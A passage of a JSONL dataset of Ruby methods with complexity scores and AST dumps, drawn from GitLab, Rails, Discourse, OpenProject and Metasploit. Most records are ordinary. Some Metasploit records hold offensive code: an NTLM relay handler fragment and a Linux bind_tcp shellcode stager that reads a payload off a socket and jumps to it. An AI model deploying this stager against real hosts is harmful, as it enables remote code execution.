page</TITLE></HEAD></HTML>\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"send_response\",{\"type\":\"lvar\",\"children\":[\"response\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},null]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"method\"]},{\"type\":\"lvasgn\",\"children\":[\"hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Authorization\"]}]},\"split\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\s+\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method\"]},\"!=\",{\"type\":\"str\",\"children\":[\"NTLM\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Unrecognized Authorization header, responding with 404\"]}]},{\"type\":\"send\",\"children\":[null,\"send_not_found\",{\"type\":\"lvar\",\"children\":[\"cli\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"NTLM Request '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"uri\"]}]},{\"type\":\"str\",\"children\":[\"' from \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"peerhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"peerport\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SYNCFILE\"]}]},\"!=\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"sync_options\"]},null]},{\"type\":\"send\",\"children\":[null,\"handle_relay\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"hash\"]}]}]}]}]}","id":"3bafcfbd-ebd5-4ce8-87f6-e9fb6f6d2b83"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/import/github_service.rb","start_line":91,"raw_source":"def validate_access_token\n      begin\n        client.octokit.repository(params[:repo_id].to_i)\n      rescue Octokit::Forbidden, Octokit::Unauthorized\n        return error(repository_access_error_message, :unprocessable_entity)\n      end\n\n      return unless Gitlab::Utils.to_boolean(params.dig(:optional_stages, :collaborators_import))\n\n      begin\n        client.octokit.collaborators(params[:repo_id].to_i)\n      rescue Octokit::Forbidden, Octokit::Unauthorized\n        return error(collaborators_access_error_message, :unprocessable_entity)\n      end\n      nil # we intentionally return nil if we don't raise an error\n    end","complexity_score":28.2,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_access_token\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"octokit\"]},\"repository\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"repo_id\"]}]},\"to_i\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Octokit\"]},\"Forbidden\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Octokit\"]},\"Unauthorized\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"error\",{\"type\":\"send\",\"children\":[null,\"repository_access_error_message\"]},{\"type\":\"sym\",\"children\":[\"unprocessable_entity\"]}]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Utils\"]},\"to_boolean\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"dig\",{\"type\":\"sym\",\"children\":[\"optional_stages\"]},{\"type\":\"sym\",\"children\":[\"collaborators_import\"]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"octokit\"]},\"collaborators\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"repo_id\"]}]},\"to_i\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Octokit\"]},\"Forbidden\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Octokit\"]},\"Unauthorized\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"error\",{\"type\":\"send\",\"children\":[null,\"collaborators_access_error_message\"]},{\"type\":\"sym\",\"children\":[\"unprocessable_entity\"]}]}]}]},null]}]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"57a76cdf-2756-47f5-a242-08aeb47c7f4a"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/if_inside_else.rb","start_line":142,"raw_source":"def allow_if_modifier_in_else_branch?(else_branch)\n          allow_if_modifier? && else_branch&.modifier_form?\n        end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"allow_if_modifier_in_else_branch?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"else_branch\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow_if_modifier?\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"else_branch\"]},\"modifier_form?\"]}]}]}","id":"3679ed76-f10f-457d-a8b7-3d0e88f99317"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/reporting/spec/models/cost_query/cache_spec.rb","start_line":65,"raw_source":"def no_custom_fields_exist\n    allow(WorkPackageCustomField).to receive(:maximum).and_return(nil)\n    allow(WorkPackageCustomField).to receive(:count).and_return(0)\n  end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"no_custom_fields_exist\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"const\",\"children\":[null,\"WorkPackageCustomField\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"maximum\"]}]},\"and_return\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"const\",\"children\":[null,\"WorkPackageCustomField\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"count\"]}]},\"and_return\",{\"type\":\"int\",\"children\":[0]}]}]}]}]}","id":"96e92949-609a-412b-a3aa-95a71c3c1806"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_report.rb","start_line":119,"raw_source":"def view_filter_columns\n    col_order.collect { |c| [headers[col_order.index(c)], c] }\n  end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"view_filter_columns\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"col_order\"]},\"collect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"headers\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"col_order\"]},\"index\",{\"type\":\"lvar\",\"children\":[\"c\"]}]}]},{\"type\":\"lvar\",\"children\":[\"c\"]}]}]}]}","id":"2dce93a5-9f35-4713-aa61-b6785cce66ac"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/requests/api/v3/queries/create_query_spec.rb","start_line":163,"raw_source":"def post!\n      header \"Content-Type\",  \"application/json\"\n      post \"/api/v3/queries\", params.to_json\n    end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"post!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"header\",{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]},{\"type\":\"send\",\"children\":[null,\"post\",{\"type\":\"str\",\"children\":[\"/api/v3/queries\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"to_json\"]}]}]}]}","id":"adfca875-bde8-489d-836c-5b779078cb7d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/payload/linux/bind_tcp.rb","start_line":82,"raw_source":"def asm_bind_tcp(opts={})\n\n    #reliable     = opts[:reliable]\n    af_inet = 2\n\n    if use_ipv6\n      af_inet = 0xa\n    end\n\n    encoded_port = \"0x%.8x\" % [opts[:port].to_i, af_inet].pack(\"vn\").unpack(\"N\").first\n\n    asm = %Q^\n      bind_tcp:\n        push 0x7d                     ; mprotect syscall\n        pop eax\n        cdq\n        mov dl,0x7\n        mov ecx,0x1000\n        mov ebx,esp\n        and bx,0xf000\n        int 0x80                      ; invoke mprotect\n        xor ebx,ebx\n        mul ebx\n        push ebx                      ; PROTO\n        inc ebx                       ; SYS_SOCKET and SOCK_STREAM\n        push ebx\n        push #{af_inet}               ; SYS_BIND and AF_INET(6)\n        mov ecx,esp\n        mov al,0x66                   ; socketcall syscall\n        int 0x80                      ; invoke socketcall (SYS_SOCKET)\n\n        ; set the SO_REUSEADDR flag on the socket\n        push ecx\n        push 4\n        push esp\n        push 2\n        push 1\n        push eax\n        xchg eax,edi                  ; stash the socket handle\n        mov ecx, esp\n        push 0xe                      ; SYS_SETSOCKOPT\n        pop ebx\n        push 0x66                     ; socketcall syscall\n        pop eax\n        int 0x80\n        mov eax,edi                   ; restore the socket handle\n        add esp, 0x14\n        pop ecx                       ; restore ecx\n\n        pop ebx\n        pop esi\n    ^\n\n    if use_ipv6\n      asm << %Q^\n        push 2\n        pop ebx\n        push edx\n        push edx\n        push edx\n        push edx\n        push edx\n        push edx\n        push #{encoded_port}\n        mov ecx,esp\n        push 0x1c\n      ^\n    else\n      asm << %Q^\n        push edx\n        push #{encoded_port}\n        push 0x10\n      ^\n    end\n\n    asm << %Q^\n        push ecx\n        push eax\n        mov ecx,esp\n        push 0x66                     ; socketcall syscall\n        pop eax\n        int 0x80                      ; invoke socketcall (SYS_BIND)\n\n        shl ebx,1                     ; SYS_LISTEN\n        mov al,0x66                   ; socketcall syscall (SYS_LISTEN)\n        int 0x80                      ; invoke socketcall\n\n        push edi                      ; stash the listen socket\n        inc ebx                       ; SYS_ACCEPT\n        mov al,0x66                   ; socketcall syscall\n        mov [ecx+0x4],edx\n        int 0x80                      ; invoke socketcall (SYS_ACCEPT)\n        xchg eax,ebx\n    ^\n\n    if include_send_uuid\n      asm << %Q^\n        mov edi, ebx\n        #{asm_send_uuid}\n      ^\n    end\n\n    asm << %Q^\n        mov dh,0xc                    ; at least 0x0c00 bytes\n        mov al,0x3                    ; read syscall\n        int 0x80                      ; invoke read\n        xchg ebx,edi                  ; stash the accept socket in edi\n        pop ebx                       ; restore the listen socket\n        mov al,0x6                    ; close syscall\n        int 0x80                      ; invoke close\n        jmp ecx                       ; jump to the payload\n    ^\n\n    asm\n  end","complexity_score":27.23,"ast_json":"{\"type\":\"def\",\"children\":[\"asm_bind_tcp\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"af_inet\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"use_ipv6\"]},{\"type\":\"lvasgn\",\"children\":[\"af_inet\",{\"type\":\"int\",\"children\":[10]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"encoded_port\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"0x%.8x\"]},\"%\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"port\"]}]},\"to_i\"]},{\"type\":\"lvar\",\"children\":[\"af_inet\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"vn\"]}]},\"unpack\",{\"type\":\"str\",\"children\":[\"N\"]}]},\"first\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"asm\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      bind_tcp:\\n\"]},{\"type\":\"str\",\"children\":[\"        push 0x7d                     ; mprotect syscall\\n\"]},{\"type\":\"str\",\"children\":[\"        pop eax\\n\"]},{\"type\":\"str\",\"children\":[\"        cdq\\n\"]},{\"type\":\"str\",\"children\":[\"        mov dl,0x7\\n\"]},{\"type\":\"str\",\"children\":[\"        mov ecx,0x1000\\n\"]},{\"type\":\"str\",\"children\":[\"        mov ebx,esp\\n\"]},{\"type\":\"str\",\"children\":[\"        and bx,0xf000\\n\"]},{\"type\":\"str\",\"children\":[\"        int 0x80                      ; invoke mprotect\\n\"]},{\"type\":\"str\",\"children\":[\"        xor ebx,ebx\\n\"]},{\"type\":\"str\",\"children\":[\"        mul ebx\\n\"]},{\"type\":\"str\",\"children\":[\"        push ebx                      ; PROTO\\n\"]},{\"type\":\"str\",\"children\":[\"        inc ebx                       ; SYS_SOCKET and SOCK_STREAM\\n\"]},{\"type\":\"str\",\"children\":[\"        push ebx\\n\"]},{\"type\":\"str\",\"children\":[\"        push \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"af_inet\"]}]},{\"type\":\"str\",\"children\":[\"               ; SYS_BIND and AF_INET(6)\\n\"]},{\"type\":\"str\",\"children\":[\"        mov ecx,esp\\n\"]},{\"type\":\"str\",\"children\":[\"        mov al,0x66                   ; socketcall syscall\\n\"]},{\"type\":\"str\",\"children\":[\"        int 0x80                      ; invoke socketcall (SYS_SOCKET)\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        ; set the SO_REUSEADDR flag on the socket\\n\"]},{\"type\":\"str\",\"children\":[\"        push ecx\\n\"]},{\"type\":\"str\",\"children\":[\"        push 4\\n\"]},{\"type\":\"str\",\"children\":[\"        push esp\\n\"]},{\"type\":\"str\",\"children\":[\"        push 2\\n\"]},{\"type\":\"str\",\"children\":[\"        push 1\\n\"]},{\"type\":\"str\",\"children\":[\"        push eax\\n\"]},{\"type\":\"str\",\"children\":[\"        xchg eax,edi                  ; stash the socket handle\\n\"]},{\"type\":\"str\",\"children\":[\"        mov ecx, esp\\n\"]},{\"type\":\"str\",\"children\":[\"        push 0xe                      ; SYS_SETSOCKOPT\\n\"]},{\"type\":\"str\",\"children\":[\"        pop ebx\\n\"]},{\"type\":\"str\",\"children\":[\"        push 0x66                     ; socketcall syscall\\n\"]},{\"type\":\"str\",\"children\":[\"        pop eax\\n\"]},{\"type\":\"str\",\"children\":[\"        int 0x80\\n\"]},{\"type\":\"str\",\"children\":[\"        mov eax,edi                   ; restore the socket handle\\n\"]},{\"type\":\"str\",\"children\":[\"        add esp, 0x14\\n\"]},{\"type\":\"str\",\"children\":[\"        pop ecx                       ; restore ecx\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        pop ebx\\n\"]},{\"type\":\"str\",\"children\":[\"        pop esi\\n\"]},{\"type\":\"str\",\"children\":[\"    \"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"use_ipv6\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"asm\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        push 2\\n\"]},{\"type\":\"str\",\"children\":[\"        pop ebx\\n\"]},{\"type\":\"str\",\"children\":[\"        push edx\\n\"]},{\"type\":\"str\",\"children\":[\"        push edx\\n\"]},{\"type\":\"str\",\"children\":[\"        push edx\\n\"]},{\"type\":\"str\",\"children\":[\"        push edx\\n\"]},{\"type\":\"str\",\"children\":[\"        push edx\\n\"]},{\"type\":\"str\",\"children\":[\"        push edx\\n\"]},{\"type\":\"str\",\"children\":[\"        push \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"encoded_port\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        mov ecx,esp\\n\"]},{\"type\":\"str\",\"children\":[\"        push 0x1c\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"asm\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        push edx\\n\"]},{\"type\":\"str\",\"children\":[\"        push \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"encoded_port\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        push 0x10\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"asm\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        push ecx\\n\"]},{\"type\":\"str\",\"children\":[\"        push eax\\n\"]},{\"type\":\"str\",\"children\":[\"        mov ecx,esp\\n\"]},{\"type\":\"str\",\"children\":[\"        push 0x66                     ; socketcall syscall\\n\"]},{\"type\":\"str\",\"children\":[\"        pop eax\\n\"]},{\"type\":\"str\",\"children\":[\"        int 0x80                      ; invoke socketcall (SYS_BIND)\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        shl ebx,1                     ; SYS_LISTEN\\n\"]},{\"type\":\"str\",\"children\":[\"        mov al,0x66                   ; socketcall syscall (SYS_LISTEN)\\n\"]},{\"type\":\"str\",\"children\":[\"        int 0x80                      ; invoke socketcall\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        push edi                      ; stash the listen socket\\n\"]},{\"type\":\"str\",\"children\":[\"        inc ebx                       ; SYS_ACCEPT\\n\"]},{\"type\":\"str\",\"children\":[\"        mov al,0x66                   ; socketcall syscall\\n\"]},{\"type\":\"str\",\"children\":[\"        mov [ecx+0x4],edx\\n\"]},{\"type\":\"str\",\"children\":[\"        int 0x80                      ; invoke socketcall (SYS_ACCEPT)\\n\"]},{\"type\":\"str\",\"children\":[\"        xchg eax,ebx\\n\"]},{\"type\":\"str\",\"children\":[\"    \"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"include_send_uuid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"asm\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        mov edi, ebx\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"asm_send_uuid\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"asm\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        mov dh,0xc                    ; at least 0x0c00 bytes\\n\"]},{\"type\":\"str\",\"children\":[\"        mov al,0x3                    ; read syscall\\n\"]},{\"type\":\"str\",\"children\":[\"        int 0x80                      ; invoke read\\n\"]},{\"type\":\"str\",\"children\":[\"        xchg ebx,edi                  ; stash the accept socket in edi\\n\"]},{\"type\":\"str\",\"children\":[\"        pop ebx                       ; restore the listen socket\\n\"]},{\"type\":\"str\",\"children\":[\"        mov al,0x6                    ; close syscall\\n\"]},{\"type\":\"str\",\"children\":[\"        int 0x80                      ; invoke close\\n\"]},{\"type\":\"str\",\"children\":[\"        jmp ecx                       ; jump to the payload\\n\"]},{\"type\":\"str\",\"children\":[\"    \"]}]}]},{\"type\":\"lvar\",\"children\":[\"asm\"]}]}]}","id":"e9c6c94e-152a-47b6-936f-8f1a632c00ca"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/continuous_integration.rb","start_line":116,"raw_source":"def report(title, &block)\n      Signal.trap(\"INT\") { abort colorize(:error, \"\\n❌ #{title} interrupted\") }\n\n      ci = self.class.new\n      elapsed = timing { ci.instance_eval(&block) }\n\n      if ci.success?\n        echo \"\\n✅ #{title} passed in #{elapsed}\", type: :success\n      else\n        echo \"\\n❌ #{title} failed in #{elapsed}\", type: :error\n      end\n\n      results.concat ci.results\n    ensure\n      Signal.trap(\"INT\", \"-\")\n    end","complexity_score":28.3,"ast_json":"{\"type\":\"def\",\"children\":[\"report\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"title\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Signal\"]},\"trap\",{\"type\":\"str\",\"children\":[\"INT\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"abort\",{\"type\":\"send\",\"children\":[null,\"colorize\",{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n❌ \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"title\"]}]},{\"type\":\"str\",\"children\":[\" interrupted\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ci\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"new\"]}]},{\"type\":\"lvasgn\",\"children\":[\"elapsed\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"timing\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ci\"]},\"instance_eval\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ci\"]},\"success?\"]},{\"type\":\"send\",\"children\":[null,\"echo\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n✅ \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"title\"]}]},{\"type\":\"str\",\"children\":[\" passed in \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"elapsed\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"success\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"echo\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n❌ \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"title\"]}]},{\"type\":\"str\",\"children\":[\" failed in \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"elapsed\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"error\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"results\"]},\"concat\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ci\"]},\"results\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Signal\"]},\"trap\",{\"type\":\"str\",\"children\":[\"INT\"]},{\"type\":\"str\",\"children\":[\"-\"]}]}]}]}","id":"ac1512a3-3ca6-40ed-aff9-16de46836a49"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/post/linux/process.rb","start_line":11,"raw_source":"def initialize(info = {})\n          super(\n            update_info(\n              info,\n              'Compat' => {\n                'Meterpreter' => {\n                  'Commands' => %w[\n                    stdapi_sys_process_attach\n                    stdapi_sys_process_memory_read\n                  ]\n                }\n              }\n            )\n          )\n        end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Compat\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Meterpreter\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Commands\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"stdapi_sys_process_attach\"]},{\"type\":\"str\",\"children\":[\"stdapi_sys_process_memory_read\"]}]}]}]}]}]}]}]}]}]}]}","id":"3bd12afb-5822-45ab-9fd4-c6e79685c414"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/lib/chat/guardian_extensions.rb","start_line":177,"raw_source":"def can_flag_chat_messages?\n      return false if @user.silenced?\n      @user.in_any_groups?(SiteSetting.chat_message_flag_allowed_groups_map)\n    end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"can_flag_chat_messages?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"silenced?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"in_any_groups?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"chat_message_flag_allowed_groups_map\"]}]}]}]}","id":"d479e3f5-d3c3-4c66-b6a7-df576271af06"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/packages/npm/check_manifest_coherence_service.rb","start_line":29,"raw_source":"def coherent?(package_json)\n        package_json['name'] == package.name &&\n          same_version?(package_json['version'], package.version)\n      end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"coherent?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"package_json\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"package_json\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"package\"]},\"name\"]}]},{\"type\":\"send\",\"children\":[null,\"same_version?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"package_json\"]},\"[]\",{\"type\":\"str\",\"children\":[\"version\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"package\"]},\"version\"]}]}]}]}","id":"f5367abc-bc23-472d-8002-88f4c3d2ea45"}
